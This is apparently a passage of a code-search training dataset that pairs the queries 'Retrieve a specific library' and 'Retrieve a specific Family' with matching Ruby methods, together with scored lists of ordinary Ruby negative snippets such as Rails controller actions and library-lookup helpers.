"def create(name)\n url = prefix + \"create\" + \"&name=#{name}\"\n return response(url)\n end",
"def create\n name = @view.ask_user_for_info(\"name\")\n description = @view.ask_user_for_info(\"description\")\n prep_time = @view.ask_user_for_attribute(\"prep_time\")\n difficulty = @view.ask_user_for_attribute(\"difficulty\")\n recipe = Recipe.new(name: name, description: description, prep_time: prep_time, difficulty: difficulty)\n @cookbook.add_recipe(recipe)\n end",
"def new(cloud_name)\n target = Kite::Cloud.new(self, cloud_name)\n target.prepare\n end",
"def create\n @koszyk = Koszyk.new(koszyk_params)\n\n respond_to do |format|\n if @koszyk.save\n format.html { redirect_to @koszyk, notice: 'Koszyk was successfully created.' }\n format.json { render :show, status: :created, location: @koszyk }\n else\n format.html { render :new }\n format.json { render json: @koszyk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @breadcrumb = 'create'\n @tool = Tool.new(params[:tool])\n @tool.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @tool.save\n format.html { redirect_to @tool, notice: crud_notice('created', @tool) }\n format.json { render json: @tool, status: :created, location: @tool }\n else\n @companies = companies_dropdown\n @offices = offices_dropdown\n @products = products_dropdown\n format.html { render action: \"new\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end"
] |
[
"0.7430464",
"0.7135066",
"0.6733496",
"0.6472933",
"0.6398942",
"0.6250337",
"0.6247657",
"0.6246657",
"0.6230436",
"0.6216024",
"0.621553",
"0.62020403",
"0.6110378",
"0.599956",
"0.5852804",
"0.5847052",
"0.58352584",
"0.58348656",
"0.5829124",
"0.5781603",
"0.5770647",
"0.5752734",
"0.5723897",
"0.56991166",
"0.56946385",
"0.56519186",
"0.56374115",
"0.562487",
"0.56183636",
"0.5606458",
"0.5593456",
"0.55913794",
"0.5586862",
"0.55823296",
"0.5577619",
"0.55761737",
"0.55693114",
"0.55462766",
"0.55170125",
"0.55159074",
"0.5515129",
"0.5512353",
"0.5511333",
"0.5507909",
"0.55072224",
"0.55037045",
"0.5501224",
"0.54919714",
"0.5480466",
"0.5463094",
"0.54613346",
"0.54294974",
"0.5415752",
"0.5409672",
"0.54072446",
"0.5399525",
"0.5386368",
"0.537296",
"0.53688514",
"0.5368673",
"0.5367763",
"0.53620714",
"0.53563374",
"0.53533256",
"0.5353113",
"0.5347545",
"0.5346919",
"0.534303",
"0.53358656",
"0.5329807",
"0.53216136",
"0.5309119",
"0.5301865",
"0.5295522",
"0.5290608",
"0.528367",
"0.528245",
"0.5279992",
"0.52754104",
"0.52726626",
"0.5270721",
"0.52692276",
"0.5264434",
"0.52582574",
"0.525769",
"0.5257436",
"0.52559674",
"0.52549505",
"0.52549505",
"0.52549505",
"0.5251107",
"0.52494603",
"0.5247133",
"0.52411777",
"0.52405626",
"0.5239656",
"0.52372956",
"0.52372956",
"0.52372956",
"0.52372956"
] |
0.8472343
|
0
|
Retrieve a specific library
|
def library(id, params = {})
Library.find(id, params)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def lib\n @data['lib']\n end",
"def lib\n @obj['lib']\n end",
"def library\n @library ||= if options[:library]\n Library.new options[:library]\n else\n Library.default\n end\n end",
"def library\n @library ||= Boson.library(@lib)\n end",
"def lookup_library(args)\n library = args[:library]\n paths = args.key?(:paths) ? sanitize_paths(args[:paths]) : []\n matches = packages_providing_library(library, *paths).join(\"\\n\")\n puts \"packages which provide library:\\n#{matches}\".bold.blue\nend",
"def library_for(uri); end",
"def getLibraryName()\n return @libraryName\n end",
"def identify_library(arg)\n results = if arg =~ %r[https?://]i\n self.install_method = :url\n result = search url: /^#{arg}$/i\n\n if result.empty?\n self.install_method = :website\n result = search(website: /^#{arg}$/i)\n end\n\n if result.empty?\n self.install_method = :custom\n result = [Arduino::Library::Model.from_hash(url: arg, name: File.basename(arg))]\n end\n result\n elsif File.exist?(arg) || arg =~ /\\.zip$/\n self.install_method = :archiveFileName\n search archiveFileName: File.basename(arg).to_s\n else\n self.install_method = :name\n search name: /^#{arg}$/\n end\n\n validate_search(arg, results)\n results.max if results && !results.empty?\n end",
"def library_for uri\n result = explicit_library_for(uri) ||\n implicit_library_for(uri) ||\n generic_library_for(uri)\n # previous library for already call attach. avoid call twice\n # result.attach sources.find(uri) if sources.include?(uri)\n result\n end",
"def library_name\n Library === library ? library.name : nil\n end",
"def get_library_document(library_document_id)\n request(:get_library_document, library_document_id)\n end",
"def library\n @library ||= {}\n end",
"def library(domain, name=nil, opts={})\n\n path, key = split(domain, name)\n\n libs = entries('libraries', path)\n if opts[:subflows] # used by \"graft\"/\"import\"\n libs += entries('sublibraries', path)\n libs = libs.sort_by { |pa, _, _| pa.count('.') }\n end\n\n libs\n .each { |pa, ke, va|\n next unless ke == key\n return [ [ pa, ke ].join('.'), va ] }\n\n nil\n end",
"def current_library\n @current_library\n end",
"def library_code\n service_point&.library&.code || (@code if Settings.libraries[@code].present?)\n end",
"def location\n opts = get_options\n opts['lib']\n end",
"def show\n @library = Library.find(params[:id])\n end",
"def library=(value)\n @library = value\n end",
"def library_name\n self.class.library_name\n end",
"def load_library\n\t\t#wget some url\n\tend",
"def library\n @library ||= Library.new(self)\n end",
"def library\n @library ||= Library.new(self)\n end",
"def library_description\n LIBRARY_DESCRIPTION\n end",
"def fetch_libraries\n Library.limit(10)\n end",
"def show\n @library = Library.where(id: params[:id]).first\n end",
"def library(name, constraint=nil)\n name = name.to_s\n #raise \"no library -- #{name}\" unless include?(name)\n return nil unless include?(name)\n\n library = index[name]\n\n if Library===library\n if constraint # FIXME: it's okay if constraint fits current\n raise VersionConflict, \"previously selected version -- #{library.version}\" # ledger[name]\n else\n library\n end\n else # library is an array of versions\n if constraint\n compare = Version.constraint_lambda(constraint)\n library = library.select{ |lib| compare[lib.version] }.max\n else\n library = library.max\n end\n unless library\n raise VersionError, \"no library version -- #{name} #{constraint}\"\n end\n #index[name] = library #constrain(library)\n library.activate\n return library\n end\n end",
"def lib name\n name = name.to_sym\n type = $VHOST.libraries[name][:type]\n libhome = $VHOST.liburi\n if type == :js\n echo \"<script type='text/javascript' src='/#{libhome}/#{name}'></script>\"\n elsif type == :css\n echo \"<link rel='stylesheet' href='/#{libhome}/#{name}'></link>\"\n end\n end",
"def library(lib)\n Dissident::LIBRARIES[self] = lib\n end",
"def query_library(libname)\n init_doc({:format_doc=>:tex})\n parse(CqlsDoc.input_from_file(libname))\n p @calls.keys.sort\n p @meths.sort\n end",
"def library\n @library ||= Plex::Library.new(self)\n end",
"def libfile\n Pathname.new(resource[:lib]).absolute? ? resource[:lib] : \"modules/#{resource[:lib]}\"\n end",
"def get_list_beshared_libraries\n JSON.parse(curl_get(\"beshared-repos/\").body_str)\n end",
"def library(lib)\n case lib.class.to_s\n when 'Array'\n tok = lib\n when 'String'\n tok = lib.split(' ')\n else\n throw \"Invalid value: #{lib.class}\"\n end\n tok.each { |lib| @ldadd.push(lib) unless @ldadd.include?(lib) }\n end",
"def lib(name)\n\t\tlib = YAML::load(File.open(File.join(\"lib\", \"#{name}.yml\")))\n\tend",
"def libfile\n libfile = Pathname.new(resource[:lib]).absolute? ? resource[:lib] : \"modules/#{resource[:lib]}\"\n end",
"def set_library\n #for getting one library\n @library = Library.find_by_red_id(params[:id])\n end",
"def show\n @library = Library.find(Book.find(params[:id]).library_id)\n end",
"def library\n suggested = params[:library]&.to_s\n res = if current_admin\n clean_path(suggested || 'admin_reference')\n elsif current_user\n @index_section = current_user.app_type&.name&.id_underscore\n @index_subsection = IntroductionDocument\n clean_path(suggested || 'app_reference')\n else\n not_authorized if suggested.present? && suggested != 'guest_reference'\n\n 'guest_reference'\n end\n\n raise FphsException, \"invalid help library: #{res}\" unless res&.to_s&.in? ValidLibraries\n\n res\n end",
"def lib(droplet)\n candidate = manifest_lib_dir(droplet)\n return candidate if candidate&.exist?\n\n candidate = boot_inf_lib_dir(droplet)\n return candidate if candidate&.exist?\n\n candidate = web_inf_lib_dir(droplet)\n return candidate if candidate&.exist?\n\n candidate = lib_dir(droplet)\n return candidate if candidate&.exist?\n\n raise 'No lib directory found'\n end",
"def library(domain, name=nil)\n\n domain, name = split_dn(domain, name)\n\n path =\n (Dir[File.join(root, '**/*.{flo,flor}')])\n .sort\n .sort_by(&:length)\n .select { |f| f.index('/lib/') }\n .select { |f| path_name_matches?(domain, name, f) }\n .first\n\n path ? [ Flor.relativize_path(path), File.read(path) ] : nil\n end",
"def library_attributes(library)\n {lib: library.name}\n end",
"def get_list_shared_libraries\n JSON.parse(curl_get(\"shared-repos/\").body_str)\n end",
"def scrape_libraries(url=self.url)\n response = Typhoeus.get(url + '/libraries.json')\n \n # if get a good reponse back, parse the JSON, else return empty\n libraries_result_hash = {}\n if response.code == 200 && !response.body.empty?\n libraries_result_hash = JSON.parse(response.body)[\"libraries\"]\n end\n\n return libraries_result_hash\n end",
"def set_library\n @library = Library.find(params[:id])\n end",
"def set_library\n @library = Library.find(params[:id])\n end",
"def set_library\n @library = AdminLibrary.friendly.find(params[:admin_library_id])\n end",
"def library_name(code)\n Mylibrary::Application.config.library_map[code] || code\n end",
"def book_info_open_library\n client = Openlibrary::Client.new\n results = client.search(params[:q])\n rescue\n []\n end",
"def library_path\n datastore['DLL']\n end",
"def library_name\n datastore['LibraryName'] || 'msf.dll'\n end",
"def set_library\n @library = AdminLibrary.friendly.find(params[:id]) \n end",
"def library_path\n @library_path ||= nil\n end",
"def set_library\n @library = Library.find_by(id: params[:id])\n end",
"def libs; end",
"def library_heading\n LIBRARY_HEADING\n end",
"def library; end",
"def library; end",
"def book_info_open_library\n client = Openlibrary::Client.new\n results = client.search(params[:q])\n end",
"def book_info_open_library\n client = Openlibrary::Client.new\n results = client.search(params[:q])\n end",
"def load_library\n raise NotImplementedError, \"loading extension libraries is not implemented\"\n end",
"def lib_path; end",
"def lib_path; end",
"def lib_path; end",
"def file_name\n library_name\n end",
"def find_shared_library(doc, jdbc_driver)\n by_reference = []\n by_containment = []\n jdbc_driver.each do |driver|\n # by reference - check for libraryRef\n lib_attribute = driver.attribute('libraryRef').value unless driver.attribute('libraryRef').nil?\n unless lib_attribute.nil?\n libs = doc.elements.to_a(\"//library[@id='#{lib_attribute}']\")\n libs.each { |lib| by_reference.push(lib) }\n end\n # next check for contained library elements\n lib_elements = driver.get_elements('library')\n lib_elements.each { |element| by_containment.push(element) }\n end\n raise \"JDBC library for #{@service_name} is configured incorrectly. It is configured both by-reference and by-containment\" unless by_reference.empty? || by_containment.empty?\n raise \"There is no configured JDBC library for #{@service_name}\" if by_reference.empty? && by_containment.empty?\n library = by_reference.empty? ? by_containment : by_reference\n library\n end",
"def info\n return nil unless installed?\n\n # note that if the library isn't found, we're going to do a lot of cache attempts...\n if @info_cache.nil?\n @info_cache = @backend.installed_libraries.find do |l|\n lib_info = l[\"library\"]\n Pathname.new(lib_info[\"install_dir\"]).realpath == path.realpath\n end\n end\n\n @info_cache\n end",
"def lib\n File.join(@root, 'lib')\n end",
"def resolve_lib(id)\n resolved = find_lib id, @paths\n raise \"Cannot find lib '#{id}'\" unless resolved\n resolved\n end",
"def request_libraries\n raise StandardError, 'Unsupported, fix this'\n end",
"def busca_libro(isbn)\n\t\tfor libro in @libros\n\t\t\tif libro.isbn == isbn\n\t\t\t\treturn libro\n\t\t\tend\n\t\tend\n\t\treturn nil\n\tend",
"def query\n @libraries = []\n \n begin\n res = Net::HTTP.start(\"worldcatlibraries.org\") { |http| \n http.get(\"/registry/lookup?IP=#{request.remote_ip}\") \n }\n doc = REXML::Document.new res.body\n doc.elements.each('records/resolverRegistryEntry') do |entry|\n name = entry.elements['institutionName'].text\n url = entry.elements['resolver/baseURL'].text\n \n @libraries << { :name => name, :url => url }\n end\n rescue StandardError, Timeout::Error\n @libraries = []\n end\n \n render :layout => 'dialog'\n end",
"def require_lib(*libs); end",
"def library_from(file_or_url)\n Arduino::Library::Model.from(file_or_url)\n end",
"def display_library(selected)\n\tl = Library.find(selected)\n\tputs \"\\n#{l.branch_name} is located at #{l.address} Phone number #{l.phone}\\n\"\nend",
"def library_source\n IITSource.new(@ole.LibrarySource)\n end",
"def load_libs; end",
"def get_runtime(path = '.')\n File.open(path + \"/runtime/src/lib.rs\") do |f|\n f.find { |l| l =~ /spec_version:/ }.match(/[0-9]+/)[0]\n end\nend",
"def lib(lib)\n send(lib)\n end",
"def lib\n File.join root, 'lib'\n end",
"def catalog\n puts \"library.catalog\"\n ap self.inspect\n end",
"def GetUserLibrary()\n uri = URI(API_URL + 'me/tracks')\n\n return PerformRestrictedGet(uri)\n end",
"def lib\n File.join root, 'lib'\n end",
"def lib\n File.join root, 'lib'\n end",
"def libraries\n @libs ||= Collection.new(klass: Library, client: @client,\n belongs_to: self)\n end",
"def ld(lib)\n load lib.to_s + '.rb'\n end",
"def autoload(fname)\n\t\t\tlib = nil\n\n\t\t\t@dirpaths.each { |dp|\n\t\t\t\tif(dp.directory?)\n\t\t\t\t\tdp.opendir { |dir|\n\t\t\t\t\t\tdir.each { |f|\n\t\t\t\t\t\t\tif(f[0...name.length] == fname)\n\t\t\t\t\t\t\t\tloadFile(dp + fname)\n\t\t\t\t\t\t\t\tif(MakeRbExt.const_defined?(name))\n\t\t\t\t\t\t\t\t\treturn MakeRbExt.const_get(name)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tend\n\t\t\t}\n\t\t\traise(\"No library `#{name}' found\")\n\t\tend",
"def library(domain, name=nil, opts={})\n\n domain, name, opts = [ domain, nil, name ] if name.is_a?(Hash)\n domain, name = split_dn(domain, name)\n\n if m = name.match(/(\\.flor?)\\z/)\n name = name[0..m[1].length - 1]\n end\n\n path, _, _ = (Dir[File.join(@root, '**/*.{flo,flor}')])\n .select { |f| f.index('/lib/') }\n .collect { |pa| [ pa, *expose_dn(pa, opts) ] }\n .select { |pa, d, n| n == name && is_subdomain?(domain, d) }\n .sort_by { |pa, d, n| d.count('.') }\n .last\n\n path ? [ Flor.relativize_path(path), File.read(path) ] : nil\n end",
"def lib\n TyrantLib\n end",
"def require_library(name)\n require File.expand_path(File.join(\n File.dirname(__FILE__), '../../../../libraries', \"#{name}.rb\"\n ))\nend",
"def rq(lib)\n require lib.to_s\n end",
"def dlopen library\n begin\n Fiddle::Handle.new(library)\n rescue DLError => error\n case RUBY_PLATFORM\n when /linux/\n case error.message\n when /\\A(\\/.+?): (?:invalid ELF header|file too short)/\n # This may be a linker script:\n # https://sourceware.org/binutils/docs/ld.html#Scripts\n path = $1\n else\n raise\n end\n else\n raise\n end\n\n File.open(path) do |input|\n input.each_line do |line|\n case line\n when /\\A\\s*(?:INPUT|GROUP)\\s*\\(\\s*([^\\s,\\)]+)/\n # TODO: Should we support multiple files?\n return dlopen($1)\n end\n end\n end\n\n # Not found\n raise\n end\n end",
"def get_dependencies(lib_path)\n\tdeps = []\n\tentry_name_regex = /(.*)\\(compatibility version.*\\)/\n\t`otool -L '#{lib_path}'`.strip.split(\"\\n\").each do |entry|\n\t\tmatch = entry_name_regex.match(entry)\n\t\tif (match)\n\t\t\tdep_path = match[1].strip\n\n\t\t\t# Note - otool lists dependencies separately for each architecture\n\t\t\t# in a universal binary - only return the unique paths\n\t\t\tdeps << dep_path if !deps.include?(dep_path)\n\t\tend\n\tend\n\treturn deps\nend",
"def get_dependencies(lib_path)\n\tdeps = []\n\tentry_name_regex = /(.*)\\(compatibility version.*\\)/\n\t`otool -L '#{lib_path}'`.strip.split(\"\\n\").each do |entry|\n\t\tmatch = entry_name_regex.match(entry)\n\t\tif (match)\n\t\t\tdep_path = match[1].strip\n\n\t\t\t# Note - otool lists dependencies separately for each architecture\n\t\t\t# in a universal binary - only return the unique paths\n\t\t\tdeps << dep_path if !deps.include?(dep_path)\n\t\tend\n\tend\n\treturn deps\nend",
"def get_responsemanagement_library_with_http_info(library_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ResponseManagementApi.get_responsemanagement_library ...\"\n end\n \n \n # verify the required parameter 'library_id' is set\n fail ArgumentError, \"Missing the required parameter 'library_id' when calling ResponseManagementApi.get_responsemanagement_library\" if library_id.nil?\n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/responsemanagement/libraries/{libraryId}\".sub('{format}','json').sub('{' + 'libraryId' + '}', library_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Library')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResponseManagementApi#get_responsemanagement_library\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def [](index)\r\n @library[index]\r\n end",
"def game_library_menu_link\n $tracer.trace(__method__)\n return ToolTag.new(a.className(create_ats_regex_string(\"library\")), __method__)\n end",
"def library?\n @library.nil? ? false : @library\n end",
"def lib_version\n output_ptr = FFI::MemoryPointer.new(:ulong)\n FFI::Libvirt.virConnectGetLibVersion(pointer, output_ptr)\n FFI::Libvirt::Util.parse_version_number(output_ptr.get_ulong(0))\n end",
"def library_present?(library_name)\n library_path(library_name).exist?\n end",
"def get_dylibs lib\n `otool -L #{lib}`.split(\"\\n\").inject([]) do |dylibs, line|\n if line =~ /^\\S/ or line =~ /System|@executable_path|libobjc/\n dylibs\n else\n dylibs << line.gsub(/\\s\\(compatibility.*$/, '').strip\n end\n end\n end"
] |
[
"0.71253145",
"0.71221596",
"0.6963573",
"0.69346046",
"0.6808484",
"0.6787976",
"0.6554174",
"0.65033144",
"0.6461247",
"0.6393595",
"0.6387844",
"0.6356294",
"0.6340667",
"0.6304145",
"0.62782234",
"0.6270947",
"0.6258735",
"0.6249006",
"0.6243697",
"0.6242975",
"0.6168018",
"0.6168018",
"0.61664104",
"0.6145593",
"0.614059",
"0.61115605",
"0.6109206",
"0.6046266",
"0.60440147",
"0.6039857",
"0.60363644",
"0.6018606",
"0.5973473",
"0.59607756",
"0.59524924",
"0.59450924",
"0.5931633",
"0.5894925",
"0.5883803",
"0.58592516",
"0.58495873",
"0.58465105",
"0.58217186",
"0.58180475",
"0.5817794",
"0.5816531",
"0.5812864",
"0.58070934",
"0.5790859",
"0.5762748",
"0.57580644",
"0.5750649",
"0.57310295",
"0.5718967",
"0.571778",
"0.57131135",
"0.57131135",
"0.5682968",
"0.5682968",
"0.5668384",
"0.5660421",
"0.5660421",
"0.5660421",
"0.56495625",
"0.56437886",
"0.5636181",
"0.56226516",
"0.5602648",
"0.5591713",
"0.5576141",
"0.55561507",
"0.55502874",
"0.5529039",
"0.5521162",
"0.55163056",
"0.5515779",
"0.54949933",
"0.5477441",
"0.5423087",
"0.541922",
"0.5410155",
"0.5403031",
"0.5403031",
"0.53948945",
"0.5388088",
"0.5386914",
"0.53733593",
"0.53713804",
"0.5368755",
"0.5359187",
"0.5341271",
"0.5336813",
"0.5336571",
"0.5329749",
"0.5318722",
"0.52977914",
"0.5290061",
"0.5289797",
"0.5284624",
"0.52843547"
] |
0.70618236
|
2
|
Retrieve a specific Family
|
def family(id)
Family.find(id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def family_by_name(name)\n Family.find_by_name(name)\n end",
"def family_id\n @gapi.family_id\n end",
"def family_by_slug(slug)\n Family.find_by_slug(slug)\n end",
"def set_family\n @family = Family.friendly.find(params[:id])\n end",
"def show\n @family = Family.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def family_name\n get_attribute(Yoti::Attribute::FAMILY_NAME)\n end",
"def set_family\n @family = Family.includes(members:[:contacts]).find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find_by_id(params[:id])\n end",
"def set_family\r\n @family = Family.find(params[:id])\r\n end",
"def show\n @family = get_family(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def pfamily\n @family\n end",
"def family(f)\n unless @ks[:family][f]\n raise KeyFamilyNotFoundError.new(\"no key family #{f}\")\n end\n return @ks[:family][f]\n end",
"def get_user_family\n @user = User.find_by(username: params[:user_id])\n @family = @user.memberships.find(params[:membership_id])\n\n redirect_to user_home_path, notice: 'Your account type does not permit relatives.' unless @family.is_a? Family\n end",
"def set_family\n @family = Family.find(params[:family_id])\n end",
"def show\n @family ||= Family.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @family }\n end\n end",
"def show\n @family = Family.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def show\n if current_user.is_family_reporter? && (params[:id] != current_user.family_id.to_s)\n flash[:error] = \"You do not have permission to access this page.\"\n redirect_to home_path\n else\n @family = Family.find(params[:id], :include => [:users])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @family }\n end\n end\n end",
"def family\n\t\tif familyid.blank?\n\t\t\tStudySubject.where('1=0')\t#\tshould NEVER be true\n\t\telse\n\t\t\tStudySubject.with_familyid(familyid).not_id(id)\n\t\tend\n\tend",
"def get_family_members (people, family)\n people.select { |key,person| person.family == family }\nend",
"def family\n self_and_children\n end",
"def show\n @family = @guardian.family\n end",
"def show\n @family_member = FamilyMember.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_member }\n end\n end",
"def show\n @family_member = FamilyMember.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_member }\n end\n end",
"def getFamilyDetailsObjName\r\n\t\t\treturn \"mfiforce__Family_Details__c\"\r\n\t\tend",
"def show\n family = current_family\n p current_family\n render json: family.as_json\n end",
"def show\n # @family = Family.find_by(\"id = ?\", params[:trip][:family_id])\n end",
"def show\n @family_member = FamilyMember.find(params[:id])\n \n unless @current_family.member?(@family_member)\n flash[:warning] = \"Requested family member is not a member of your family\"\n redirect_to show_family_members\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @family_member }\n end\n end",
"def derive_family(lname)\n # Initialize a cache, default value is a new random family id\n $last_name_cache ||= Hash.new do |hash, key|\n hash[key] = $families.sample\n end\n return $last_name_cache[lname]\nend",
"def ged_fam(family_id, family)\n child = family[:child].map { |c| %Q{1 CHIL @#{$idmapper.indi(c)}@} }\n husb = family[:husb].map { |c| %Q{1 HUSB @#{$idmapper.indi(c)}@} }\n wife = family[:wife].map { |c| %Q{1 WIFE @#{$idmapper.indi(c)}@} }\n\n %Q{\n0 @#{$idmapper.fam(family_id)}@ FAM\n#{[child, husb, wife].flatten.compact.join(\"\\n\")}}.strip\nend",
"def family?\r\n infoxml = get_info\r\n \r\n if family = infoxml['family']\r\n return family == '1'\r\n end\r\n \r\n return false\r\n end",
"def show\n @product_family = ProductFamily.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_family }\n end\n end",
"def set_family_member\n @family_member = FamilyMember.find(params[:id])\n end",
"def set_family_relationship\n @family_relationship = FamilyRelationship.find(params[:id])\n end",
"def set_sub_family\n @sub_family = SubFamily.find(params[:id])\n end",
"def to_family\n family\n end",
"def show\n @product_family = ProductFamily.find(params[:id])\n @title = \"#{@product_family.name}\"\n end",
"def families\n @ks[:family].keys\n end",
"def to_family\n self\n end",
"def show\n @family_background = FamilyBackground.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @family_background }\n end\n end",
"def show\n @family_year = FamilyYear.where(school_year: @enrollment.school_year).where(family_id: @family.id).first\n\n\tend",
"def show\r\n @family = Family.find params[:id]\r\n @members = @family.members\r\n @member = @family.members.new\r\n @image = @family.images.new\r\n end",
"def family\n first_set = self.initiated_family\n second_set = self.received_family\n return first_set + second_set\n end",
"def index\n @families = Family.all\n end",
"def index\n @families = Family.all\n end",
"def index\n @families = Family.all\n end",
"def set_family_document\n @family_document = FamilyDocument.find(params[:id])\n end",
"def list()\n\t\t\tkparams = {}\n\t\t\tclient.queue_service_action_call('devicefamily', 'list', 'KalturaDeviceFamilyListResponse', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend",
"def set_additional_family_member\n @additional_family_member = AdditionalFamilyMember.find(params[:id])\n end",
"def immediate_family\n \n # collect the family in a hash\n family = Hash.new\n \n # get all spouses and map their label\n spice.each do |relative| \n if (relative.gender == Gender::MALE)\n family[relative] = \"Husband\"\n elsif (relative.gender == Gender::FEMALE)\n family[relative] = \"Wife\"\n else\n family[relative] = \"Spouse\"\n end\n end\n \n children.each do |relative| \n if (relative.gender == Gender::MALE)\n family[relative] = \"Son\"\n elsif (relative.gender == Gender::FEMALE)\n family[relative] = \"Daughter\"\n else\n family[relative] = \"Child\"\n end\n end\n \n parents.each do |relative| \n if (relative.gender == Gender::MALE)\n family[relative] = \"Father\"\n elsif (relative.gender == Gender::FEMALE)\n family[relative] = \"Mother\"\n else\n family[relative] = \"Parent\"\n end\n end\n \n siblings.each do |relative|\n if (relative.gender == Gender::MALE)\n family[relative] = \"Brother\"\n elsif (relative.gender == Gender::FEMALE)\n family[relative] = \"Sister\"\n else\n family[relative] = \"Sibling\"\n end\n end\n \n family\n \n end",
"def show\n @family_unit = FamilyUnit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_unit }\n end\n end",
"def father\n Person.find(father_id) if father_id && Person.exists?(father_id)\n end",
"def get_family\n family = [self]\n child = self\n (self.level-1).times do\n child = child.parent\n family.unshift child\n end\n family\n end",
"def search_a_family_member_for_spending_list\n puts \"Enter a first name\"\n fname = gets\n\n result = self.search_family_member_by_first_name(fname.chomp)\n if result.class != String\n \tputs result\n \tputs result.spending_list_to_s\n else\n \tputs \"No record\"\n end\n end",
"def find(position, number_of_families)\n current = self[position]\n if current == nil\n return nil\n end\n caravan = \"The #{current.surname} family\"\n (number_of_families-1).times do\n current = current.next_node\n caravan.concat(\", followed by the #{current.surname} family\")\n end\n return caravan\n end",
"def set_family_group\n @family_group = FamilyGroup.find(params[:id])\n end",
"def set_farmer_family\n @farmer_family = FarmerFamily.find(params[:id])\n end",
"def getFamilyStatus\r\n\t\t@responseObject = OpenStruct.new({\r\n\t\t\tstatus: true,\r\n\t\t\terrors: [],\r\n code: API_CODE_ERRORS['Services']['Global']['success'],\r\n\t\t\tobjectData: FamilyGender.find(:all, :order => 'name DESC')\r\n\t\t})\r\n\t\trender :template => 'api/v1/users/members/familyStatus' ,:handlers => [:rabl],:formats => [:json]\r\n\tend",
"def index\r\n @families = Family.all\r\n end",
"def show\n @control_family = ControlFamily.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @control_family }\n end\n end",
"def family_id= new_family_id\n frozen_check!\n @gapi.family_id = new_family_id\n end",
"def family\n String.from_java_bytes @java.getFamily\n end",
"def index\n @sub_families = SubFamily.all\n end",
"def show\n respond_to do |format|\n if current_user==nil\n render json: {error: 'No estas logeado'}, status: 401\n elsif @family==nil\n format.json { render json: {error: \"El familiar no existe\"}, status: :not_found }\n elsif current_user.families.include?(@family)==false\n format.json { render json: {error: 'No posees permisos para ver a esta persona'}, status: 401 }\n else\n format.json { render json: {family: @family, intolerances: @family.intolerances} }\n end\n format.html {}\n end\n end",
"def family_details(plugin_family_id)\n response = @client.get(\"plugins/families/#{plugin_family_id}\")\n verify response,\n forbidden: 'You do not have permission to view the plugin family',\n not_found: 'Plugin family not found',\n internal_server_error: 'Server failed to retrieve the plugin '\\\n 'family details.'\n end",
"def index\n @family_members = @current_family.family_members\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @family_members }\n end\n end",
"def flavors()\n return get_request(address(\"/flavors/detail\"), @token)\t\n end",
"def show\n @family_id = @user.fam_id\n\t@login = @user.login\n\t@family = Fam.find(:all, :conditions => [\"id=?\", @family_id])\n #@calendar = @user.calendars.find(params[:id])\n\t@calendar = @family[0].users[0].calendars.find(params[:id])\n\t#@family = @calendar.families\n\t#@family = Family.find(:all, :conditions => [\"id=?\", \"1\"])\n\t@user = User.find(:all, :conditions => [\"id=?\", @calendar.user_id])\n\t@family = User.find(:all, :conditions => [\"fam_id=?\", @user[0].fam_id])\n\t@fam = Fam.find(:all)\n\t#@help = @fam[0].users[0].id\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @calendar }\n end\n end",
"def set_family_member\n end",
